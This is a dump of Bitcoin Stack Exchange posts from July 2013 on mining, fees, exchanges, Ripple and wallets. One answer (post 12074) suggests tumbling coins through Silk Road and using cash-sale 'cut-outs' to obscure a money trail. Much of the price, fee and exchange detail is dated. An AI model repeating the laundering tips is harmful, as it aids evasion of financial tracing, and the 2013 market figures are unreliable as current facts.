  <row Id="12044" PostTypeId="1" AcceptedAnswerId="12048" CreationDate="2013-07-08T03:09:28.840" Score="-1" ViewCount="240" Body="&lt;p&gt;I have 87 ripples.  When I use the ripple client to purchase additional ripples, I'm unable to and get an error saying the network isn't available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only guess this is because I have too few ripples to complete the transaction.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do I get a few more ripples to complete my transaction?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Reference wallet ID: rPZhwqx7kQdssJD6i3cnEpd9kQ1Tofzjkx &lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-08-07T16:00:13.670" Title="I own too few ripples to buy ripples (have only 87xrp, want to buy 7,000)" Tags="|ripple|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12046" PostTypeId="2" ParentId="12044" CreationDate="2013-07-08T05:04:59.030" Score="-1" Body="&lt;p&gt;I dont think thats the reason because if it where that would mean the ripple network had more then a 1.2% fee (87/7000 = 0.0124) and on &lt;a href=&quot;https://ripple.com/&quot; rel=&quot;nofollow&quot;&gt;the ripple website&lt;/a&gt; they say the fee is only $0.0001 which now that I think about it seems odd that they would give the value in dollars but hey, what do I know. So at the current rate of $0.04 per ripple (as of 7/8/13) the fee is 0.25% of a ripple (0.0001 / 0.04 = 0.0025).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also that would make the fee &lt;code&gt;24X&lt;/code&gt; more then the bitcoin network (0.012 / 0.0005 = 24, 0.0005 is the minimum btc transaction fee) which seems equally outrages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that &lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;bitstamp&lt;/a&gt; sells ripples for USD so you might want to just consider buying them there.  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-07-08T15:08:41.340" LastActivityDate="2013-07-08T15:08:41.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12047" PostTypeId="1" CreationDate="2013-07-08T06:08:10.027" Score="2" ViewCount="2364" Body="&lt;p&gt;I am considering buying a 5/Ghs Butterfly Labs ASIC miner. My question is, will the difficulty increase caused by large quantities of ASIC miners being shipped in the coming months make the miner in question unprofitable?&lt;/p&gt;&#xA;" OwnerUserId="5850" LastEditorUserId="2306" LastEditDate="2017-04-25T19:57:54.107" LastActivityDate="2017-04-25T19:57:54.107" Title="How much will difficulty increase when ASIC miners become generally availible in the coming months?" Tags="|mining-hardware|difficulty|asic|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12048" PostTypeId="2" ParentId="12044" CreationDate="2013-07-08T06:36:42.730" Score="1" Body="&lt;p&gt;I think it was just that the network was down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have enough for your two lines of trust for BTC and USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(reserve = 50 and trust lines 12.5 each, so  50 + 12.5 + 12.5 = 75)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to trade your BTC for XRP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network is up now.&lt;/p&gt;&#xA;" OwnerUserId="5729" LastActivityDate="2013-07-08T06:36:42.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12049" PostTypeId="2" ParentId="12034" CreationDate="2013-07-08T07:02:21.107" Score="1" Body="&lt;p&gt;No, electrum only offers &lt;em&gt;offline&lt;/em&gt; wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your confusion comes from electrum being a thin client. But this only means that electrum does not download the blockchain, instead it uses a server to query for the the information it needs out of the blockchain. From the elextrum &lt;a href=&quot;https://en.bitcoin.it/wiki/Electrum&quot; rel=&quot;nofollow&quot;&gt;bitcoin.it Wiki page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Main features:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;...&lt;/li&gt;&#xA;  &lt;li&gt;Instant on: the client does not download the blockchain, it requests that information from a server. No delays, always up-to-date.&lt;/li&gt;&#xA;  &lt;li&gt;Transactions are signed locally: Your private keys are not shared with the server. You do not have to trust the server with your money.&lt;/li&gt;&#xA;  &lt;li&gt;...&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="112" LastActivityDate="2013-07-08T07:02:21.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12050" PostTypeId="2" ParentId="12047" CreationDate="2013-07-08T07:33:19.360" Score="3" Body="&lt;p&gt;I'm guessing this has now been asked like a million times.  Exponentially at first - once hw is available and it becomes more mainstream for the average person to buy asic hardware and setup at their own house...we will see difficulty plateau at a steady rate.  However by the time the plateau occurs, most 50GH/s hardware will only be able to mine a few USD a month...people will have already shifted over to alt-coins and GPUs will be targeting Scrypt Related stuff by that point.  I think we will see a shift of asic hardware from smaller groups  being used on other sha256 altcoins such as PPC, TRC, and FRC.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I predict Difficulty will hit 120 Million by December 300 Million by June and 1 billion by Dec 2014 at the next block reward halving event.  This won't be because of the small guys I mentioned in the prior paragraph either...difficulty will steadily rise and plateau because there will be dozens if not hundereds of commercial medium and large scale mining operations that came online to 'milk' the system.   &lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2013-07-08T07:33:19.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12051" PostTypeId="1" CreationDate="2013-07-08T07:49:48.217" Score="-1" ViewCount="263" Body="&lt;p&gt;Why would my Work Source hash rate be smaller than my worker output hashing rate?  I'm using MBPM and my work sources Hashrate is always lower than my X6500Hotplug Hashrate.  I'm just looking for a good explanation for the difference, thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-frankenmint&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2013-07-08T08:58:59.133" Title="work source hash rate smaller than worker hash rate" Tags="|getwork|fpga|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12052" PostTypeId="2" ParentId="12051" CreationDate="2013-07-08T08:58:59.133" Score="0" Body="&lt;p&gt;There are two factors to consider: sampling at the pool and stale rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sampling at the pool is the time the pool considers to calculate the average hashrate. The only thing the pool sees is the rate at which you, the miner, produces valid shares, whereas your computer sees exactly how many individual hashes were done. Since the shares can be said to be distributed uniformly at random, there is a large variance in the rate at which you find shares. The pool uses the rate of your shares to calculate an expected hashrate that matches your share submission rate. Therefore the pool might overestimate your hashrate if you are lucky and find a few shares quickly one after another, but it might also underestimate your actual hashrate if you're unlucky and don't find a share for some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stale rate on the other hand is the ratio of shares that are rejected by the pool as invalid, either because they came after a block switch or the mining software/hardware you're using is faulty. Most mining software keeps track about the rejected stales.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-07-08T08:58:59.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12054" PostTypeId="2" ParentId="12034" CreationDate="2013-07-08T10:44:46.717" Score="1" Body="&lt;p&gt;That is not correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run Electrum on an offline computer, make transactions and pass them to the online Electrum (MPK) to broadcast them to the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://electrum.org/tutorials.html#offline-mpk&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org/tutorials.html#offline-mpk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum has lots of useful options, so you better read about them in the website.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-07-08T10:44:46.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12055" PostTypeId="1" AcceptedAnswerId="12057" CreationDate="2013-07-08T14:32:51.987" Score="7" ViewCount="1218" Body="&lt;p&gt;I don't understand why the conversion rate for bitcoin changes wildly. &lt;strong&gt;Why does it?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5387" LastEditorDisplayName="user3930" LastEditDate="2013-07-09T14:58:07.497" LastActivityDate="2013-07-09T14:58:07.497" Title="Why does the Bitcoin conversion rate change wildly?" Tags="|trading|currencies|exchange-rate|market|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12056" PostTypeId="2" ParentId="12029" CreationDate="2013-07-08T14:40:45.853" Score="2" Body="&lt;p&gt;ASIC'S are application-specific integrated circuits, which speed up mining while being energy effecient.&#xA;Some ASICS have speed capable of reaching 60GH/S (60 billion hashes per second) or more, which is over 1,200 times faster than the average computer.&#xA;However, despite being energy effecient for it's speed, the fastest ones may use up a lot of power. Watch out for this when searching for bitcoin miners.&#xA;There are lot of bitcoin miners out there, and there are plenty on eBay. Some can cost as much as your average laptop, others can cost as much as $10,000!&lt;/p&gt;&#xA;" OwnerUserId="5387" LastActivityDate="2013-07-08T14:40:45.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12057" PostTypeId="2" ParentId="12055" CreationDate="2013-07-08T15:26:59.710" Score="8" Body="&lt;p&gt;As with any traded commodity the price largely depends on the confidence of the buyers and sellers in the future evolution of the price. Basically you pay whatever you feel it is worth. Like stocks this changes over time, as the company or the bitcoin economy in our case evolves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wild price swings are not that really that surprising then when it is mostly sentiment driven. Any sudden move in either direction may cause uncertainty, triggering reactive selling or buying that will again trigger more reactions. This cycle is then broken by people seizing the moment to buy in cheap or sell high, stopping the momentum, possibly triggering a move into the opposite direction.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-07-08T15:26:59.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12058" PostTypeId="1" CreationDate="2013-07-08T15:40:14.727" Score="7" ViewCount="2089" Body="&lt;p&gt;I was reading the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot;&gt;wiki&lt;/a&gt; and it seemed to sugest that the transaction fees didn't play to much of a role in determining the priority of an order but rather the actual size in bytes and the previous amount of wait time are used. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;priority = sum( input_value_in_base_units * input_age ) / size_in_bytes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but if I was a miner and I had the choice between two orders of equal size, I would always pick the one that offered the higher fee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for all of you miners out there, would my orders on average get processed faster? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it could just be that the current mining software does not discriminate based on fee size, but is it possible to write a miner which does?&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="5406" LastEditDate="2017-06-10T23:38:36.157" LastActivityDate="2017-06-10T23:38:36.157" Title="If I offer a higher transaction fee, will my order get processed faster?" Tags="|transaction-fees|transaction-selection|blockspace-market|coin-age-priority|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12059" PostTypeId="2" ParentId="12058" CreationDate="2013-07-08T16:41:41.857" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=60820&quot; rel=&quot;nofollow noreferrer&quot;&gt;DannyHamilton&lt;/a&gt; from &lt;a href=&quot;https://bitcointalk.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcointalk&lt;/a&gt; says&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;At a minimum.  0.0001 BTC per kilobyte.  That would put you ahead of all transactions that are considered &amp;quot;low priority&amp;quot; which don't include a fee by all miners (and pools) that choose to use the reference implementation.&lt;/p&gt;&#xA;&lt;p&gt;Given how low the exchange rate has been lately, you might even consider a fee of 0.0005 BTC per kilobyte.  This would put your transaction ahead of everyone that is using the 0.8.3 reference implementation for fee calculation and even with everyone using the older versions.  At the moment this works out to about 3.5 cents for an average transaction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So the answer is yes, offering a higher transaction fee does speed up your transaction. Heres a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=252350.msg2682371#msg2682371&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt; to the bitcointalk discussion.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-07-08T16:41:41.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12060" PostTypeId="2" ParentId="12055" CreationDate="2013-07-08T16:58:29.330" Score="3" Body="&lt;p&gt;Like all markets the price at each individual exchange is determined by supply and demand. However in most markets when price discrepancies appear between them, it means that there are &lt;a href=&quot;http://en.wikipedia.org/wiki/Arbitrage&quot; rel=&quot;nofollow&quot;&gt;arbitrage&lt;/a&gt; opportunities, and the gap will quickly be closed because people can turn a profit by buying on the exchange trading lower and selling on the exchange trading higher. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not the case with bitcoin because of the difficulty in moving &lt;a href=&quot;http://en.wikipedia.org/wiki/Fiat_money&quot; rel=&quot;nofollow&quot;&gt;fiat money&lt;/a&gt; between the exchanges. For instance when &lt;a href=&quot;http://bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;bitinstant&lt;/a&gt; happens to be working, you can move USD from MtGox to Btc-e at a 1.49% fee. Because the fee is so high, the percent difference between the two exchange will generally be in the range of [-1.49, 1.49%]. For example say Btc-e is trading at 150 USD and bitinstant is working. Then you can expect the price of BTC on MtGox to be anywhere between $147.76 and $152.23, because if it where anything outside that range people could turn a profit and it would quickly put the price back in the range. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In times like these (7/8/13) when both bitinstant is down and USD withdrawals are not being allowed from MtGox, you can see crazy large discrepancies in the area of 7%. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="4241" LastEditDate="2013-07-08T19:48:51.523" LastActivityDate="2013-07-08T19:48:51.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12061" PostTypeId="1" CreationDate="2013-07-09T00:03:37.973" Score="5" ViewCount="4286" Body="&lt;p&gt;Is there any way to anonymize bitcoins? It doesn't need to be AML-proof, or even completely anonymize their source, I'd just like to obfuscate the source of the bitcoins more effectively than sending them through a chain of addresses that would be easy to follow.&lt;/p&gt;&#xA;" OwnerUserId="5859" LastActivityDate="2013-07-09T14:12:41.410" Title="Anonymizing bitcoins?" Tags="|privacy|" AnswerCount="2" CommentCount="0" ClosedDate="2013-07-11T20:19:39.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="12062" PostTypeId="1" CreationDate="2013-07-09T03:46:06.323" Score="-2" ViewCount="1344" Body="&lt;p&gt;How do I purchase Litecoins? I'm after some fast in Australia! Also is it possible to convert litecoin into bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exchanges do you recommend if any for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bill&lt;/p&gt;&#xA;" OwnerUserId="5863" LastActivityDate="2013-07-09T03:56:18.480" Title="How do I purchase Litecoins?" Tags="|exchanges|litecoin|" AnswerCount="1" CommentCount="1" ClosedDate="2013-07-11T07:02:06.733" ContentLicense="CC BY-SA 3.0" />
  <row Id="12063" PostTypeId="2" ParentId="12062" CreationDate="2013-07-09T03:56:18.480" Score="0" Body="&lt;p&gt;The best way to purchase litecoins is to purchase bitcoins first. Once you have the bitcoins you can exchange bitcoin for litecoin on www.btc-e.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Soon mt-gox will support litecoin and bitcoin exchanges such as &lt;a href=&quot;https://www.bitcointrader.com.au&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcointrader.com.au&lt;/a&gt; will support litecoin as well as bitcoin soon!&lt;/p&gt;&#xA;" OwnerUserId="5864" LastActivityDate="2013-07-09T03:56:18.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12064" PostTypeId="1" CreationDate="2013-07-09T04:02:20.687" Score="2" ViewCount="1187" Body="&lt;p&gt;Why do bitcoin mining companies sell hardware and make ASICS if the hardware they are selling makes them money? Surely they would hold onto the profitable hardware and sell it when it's less profitable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this actually happen?&lt;/p&gt;&#xA;" OwnerUserId="5863" LastEditorUserId="5406" LastEditDate="2016-04-25T15:35:15.853" LastActivityDate="2016-04-25T15:35:15.853" Title="Why do bitcoin mining companies sell hardware if the hardware they are selling makes them money?" Tags="|mining-profitability|mining-hardware|asic|" AnswerCount="1" CommentCount="3" ClosedDate="2013-07-10T17:19:08.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="12066" PostTypeId="2" ParentId="12064" CreationDate="2013-07-09T04:14:09.360" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://arstechnica.com/gadgets/2013/06/how-a-total-n00b-mined-700-in-bitcoins/3/&quot; rel=&quot;noreferrer&quot;&gt;http://arstechnica.com/gadgets/2013/06/how-a-total-n00b-mined-700-in-bitcoins/3/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In fact, if it's so profitable, why on earth is Butterfly Labs selling these devices? Why not rent a warehouse, fill it with miners, and make infinity bitcoins?&lt;/p&gt;&#xA;&lt;p&gt;The answer is two-fold. First, BFL required a great deal of capital in order to design and manufacture the ASICs that power its boxes and then to assemble the miners themselves. This capital was provided in no small part by pre-selling the miners; hanging onto them to do some BTC mining with them is sketchy at best and at worst illegal. Plus, there are practical considerations: a giant BTC warehouse adds overhead costs, and I can't even begin to take a guess at the bookkeeping implications of warehousing capital like that.&lt;/p&gt;&#xA;&lt;p&gt;However, the second reason is far more practical: bitcoins, for all their current value, are still speculative. A large amount of US dollars is a large amount of US dollars no matter which way you cut it. It can be readily exchanged for goods and services. Bitcoins themselves don't necessarily hold value, and it's difficult to exchange them in large quantities for an equivalent amount of dollars. So selling Bitcoin miners for dollars guarantees a certain number of dollars; investing capital into mining a truly large number of bitcoins might work well as a short-term hedge, but the value of the trade is utterly impossible to predict.&lt;/p&gt;&#xA;&lt;p&gt;This, I suppose, is part of the nature of high-risk investments. But in this case, Butterfly Labs can simply charge whatever it wants for its gear in order to make whatever margin it deems is sufficient. Why bet on the future of a relatively new virtual currency that may go up or down when you can simply get a bunch of real US dollars?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4799" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-07-09T04:14:09.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12067" PostTypeId="1" CreationDate="2013-07-09T04:48:47.740" Score="0" ViewCount="961" Body="&lt;pre&gt;&lt;code&gt;2013-07-09 00:46:43.467000 P2Pool: 17468 shares in chain (17472 verified/17472 total) Peers: 9 (3 incoming)&#xA;2013-07-09 00:46:43.467000  Local: 0H/s in last 0.0 seconds Local dead on arrival: ??? Expected time to share: ???&#xA;2013-07-09 00:46:43.468000  Shares: 0 (0 orphan, 0 dead) Stale rate: ??? Efficiency: ??? Current payout: 0.0000 BTC&#xA;2013-07-09 00:46:43.468000  Pool: 1202GH/s Stale rate: 16.9% Expected time to block: 21.2 hours&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why are a bunch of values just &quot;???&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5760" LastEditorUserId="5406" LastEditorDisplayName="user3930" LastEditDate="2016-04-28T13:26:53.433" LastActivityDate="2016-04-28T13:26:53.433" Title="Why does &quot;???&quot; replace some values in this p2pool output?" Tags="|mining-pools|p2pool|terminology|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12068" PostTypeId="1" CreationDate="2013-07-09T06:37:14.700" Score="0" ViewCount="1167" Body="&lt;p&gt;I am hoping someone much smarter than i regarding bitcoin can point me in the right direction.&#xA;And im sorry if my questions sound dumb....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to work out how i can check if a transaction has been made to a specific address&#xA;(so my &quot;ecommerce&quot; system knows the payment was made).&#xA;I would however like to do this without relying on 3rd party sites/API's&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I though the answer maybe to run bitcoind on my web-facing server, but now im not so sure; As it seems i can only get transaction details for addresses within my wallet (stored on the web server) and i did not plan on having the BTC stored in the online wallet as i only wanted to check the transaction and store the BTC's in an offline wallet.&#xA;(if i was to store BTC in a wallet hosted on a web server is this a BIG security risk of having my lovely BTC's stolen?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have spent all night (now 7.30 am) trying to work out a plan of action, but think i am now more confused than when i started :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be very grateful if anyone could point me in the right direction as i really want to develop a BTC related website (and think i may have a good community based idea for a site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&#xA;Ford&lt;/p&gt;&#xA;" OwnerUserId="5866" LastEditorUserId="4241" LastEditDate="2013-07-09T15:24:48.283" LastActivityDate="2013-08-22T01:40:17.897" Title="Verifying BitCoin Transactions" Tags="|transactions|bitcoind|development|api|json-rpc|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12069" PostTypeId="2" ParentId="12055" CreationDate="2013-07-09T08:20:55.050" Score="6" Body="&lt;p&gt;&lt;strong&gt;Because the demand for bitcoins is largely driven by speculation&lt;/strong&gt;, i.e. people buy bitcoins in the hope that the conversion rate will rise so that they can make a profit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such speculative investors tend to exhibit herd behaviour: the more the rate falls, the more of them will sell, to realize gains or cut losses. And the more it rises, the more people want to get in on the easy money. Thus, a large percentage of speculative investors always leads to a high volatility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely, People who buy bitcoins because they want to use them as payment for something else are far more likely to hold on to their bitcoins when the exchange rate falls, or even buy more. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bascially, any regular business that takes bitcoins as payment represents a non-speculative demand and a stabilizing force on the exchange rate. This adoption is what will decide the long-term viability of bitcoin as a currency; a spectacularly rising exchange rate is actually harmful in that regard because it attracts mainly speculative investors.&lt;/p&gt;&#xA;" OwnerUserId="4136" LastEditorUserId="4136" LastEditDate="2013-07-09T09:40:39.773" LastActivityDate="2013-07-09T09:40:39.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12070" PostTypeId="2" ParentId="12068" CreationDate="2013-07-09T10:06:47.733" Score="2" Body="&lt;p&gt;If you want to see all bitcoin transactions for a given address, coming to or going from, then you need to actually look through the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;block chain&lt;/a&gt;. Fortunately our good friends at &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; have given us a nice &lt;a href=&quot;http://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;api&lt;/a&gt; to do just that.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-07-09T10:06:47.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12071" PostTypeId="2" ParentId="12061" CreationDate="2013-07-09T10:23:04.840" Score="1" Body="&lt;p&gt;Yes. With Zerocoin. It &lt;em&gt;completely&lt;/em&gt; and properly and mathematically anonymizes the source, it seems. &lt;a href=&quot;http://zerocoin.org&quot; rel=&quot;nofollow&quot;&gt;http://zerocoin.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5868" LastActivityDate="2013-07-09T10:23:04.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12072" PostTypeId="2" ParentId="12022" CreationDate="2013-07-09T13:46:42.857" Score="0" Body="&lt;p&gt;Find a list of updates on new miners here: &lt;a href=&quot;http://thegenesisblock.com/category/mining-2/&quot; rel=&quot;nofollow&quot;&gt;http://thegenesisblock.com/category/mining-2/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4138" LastActivityDate="2013-07-09T13:46:42.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12073" PostTypeId="1" AcceptedAnswerId="12078" CreationDate="2013-07-09T13:47:55.037" Score="3" ViewCount="565" Body="&lt;p&gt;Is there are any way to use bitcoin or alternative crypto-currency in local network?&#xA;I have small home network without internet and have an idea to have a local currency to encourage the children.&lt;/p&gt;&#xA;" OwnerUserId="5870" LastActivityDate="2013-07-09T18:14:21.263" Title="Bitcoin for local network" Tags="|network|alternatives|local|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12074" PostTypeId="2" ParentId="12061" CreationDate="2013-07-09T14:12:41.410" Score="1" Body="&lt;p&gt;1) Shared send from blockchain.info is a mixing service which bundles together transactions. Consider to sending addresses, A1 and A2, and two receiving addresses, B1 and B2. A1 wants to send coins to B1 and A2 to B2. To obfuscate both of these transactions, the shared send service sends A1's coins to B2 and A2's to B1 (this is a simplified version of what actually happens but shows the main point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Coins that go onto the Silk Road are &quot;tumbled&quot; - mixed with other coins - so if fund a Silk Road account then withdraw your funds you should have clean coins (although potentially tainted by having come from a Silk Road-associated account if that is a concern).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Other mixing and tumbling services are available, though with generally less history and the associated risk that either the service won't anonymise you effectively, or that your coins will just be stolen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Cash sales via Local Bitcoins, or private sales could provide a useful cut-out in any money trail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Generating a new address for all receiving transactions reduces the risk of traffic analysis being used to link your transactions together into a chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Possible duplicate of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3066/how-can-i-hide-my-bitcoin-transactions-to-protect-anonymity?rq=1&quot;&gt;this question&lt;/a&gt; - you might want to check for other answers there.&lt;/p&gt;&#xA;" OwnerUserId="3210" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-07-09T14:12:41.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12077" PostTypeId="2" ParentId="12033" CreationDate="2013-07-09T14:58:17.510" Score="6" Body="&lt;p&gt;The number of Bitcoin network confirmations required for a particular transaction to be considered complete is determined by the BitPay account holder on a transaction-by-transaction basis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entities set the Risk/Speed of a transaction to &quot;Low&quot; (6 confirmations), &quot;Medium&quot; (3 confirmations), or &quot;high&quot; (1 confirmation) via the API when an invoice is created. The entity's default Risk/Speed setting for new transactions can also be changed in the merchant's settings after logging in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarity, due to the way in which the Bitcoin network secures transactions, &quot;speed&quot; correlates directly with &quot;risk&quot; in that the entity is taking a (relatively) high risk by only waiting for a single confirmation before releasing the product or service. The entity can decrease its risk that the payment will become invalid by waiting for further confirmations that the rest of the network accepts the transaction. This is a choice the bitcoin acceptor must make, weighing the risk of losing the payment vs keeping the buyer happy (by giving him/her the product faster).&lt;/p&gt;&#xA;" OwnerUserId="5841" LastEditorUserId="5841" LastEditDate="2014-03-02T04:13:21.907" LastActivityDate="2014-03-02T04:13:21.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12078" PostTypeId="2" ParentId="12073" CreationDate="2013-07-09T15:13:07.967" Score="2" Body="&lt;p&gt;You can set up a local Bitcoin testnet with the Bitcoin-Qt client and some relatively simple configuration. Note that you will need a miner to be processing transactions when the the testnet is in use. More information is available at: &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Testnet&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5841" LastActivityDate="2013-07-09T15:13:07.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12080" PostTypeId="2" ParentId="8715" CreationDate="2013-07-09T16:43:03.240" Score="0" Body="&lt;p&gt;If you submit shares which are twice as difficult, you get twice the payout for each. You don't lose out by submitting difficult shares.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-07-09T16:43:03.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12081" PostTypeId="1" AcceptedAnswerId="12134" CreationDate="2013-07-09T17:10:52.033" Score="6" ViewCount="4739" Body="&lt;p&gt;Why should I use multiple workers for different computers? In which case should I create another worker?&lt;/p&gt;&#xA;" OwnerUserId="5874" LastEditorUserId="2306" LastEditorDisplayName="user3930" LastEditDate="2016-03-09T23:10:11.797" LastActivityDate="2016-03-09T23:10:11.797" Title="Why should I use multiple workers?" Tags="|mining-pools|miner-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
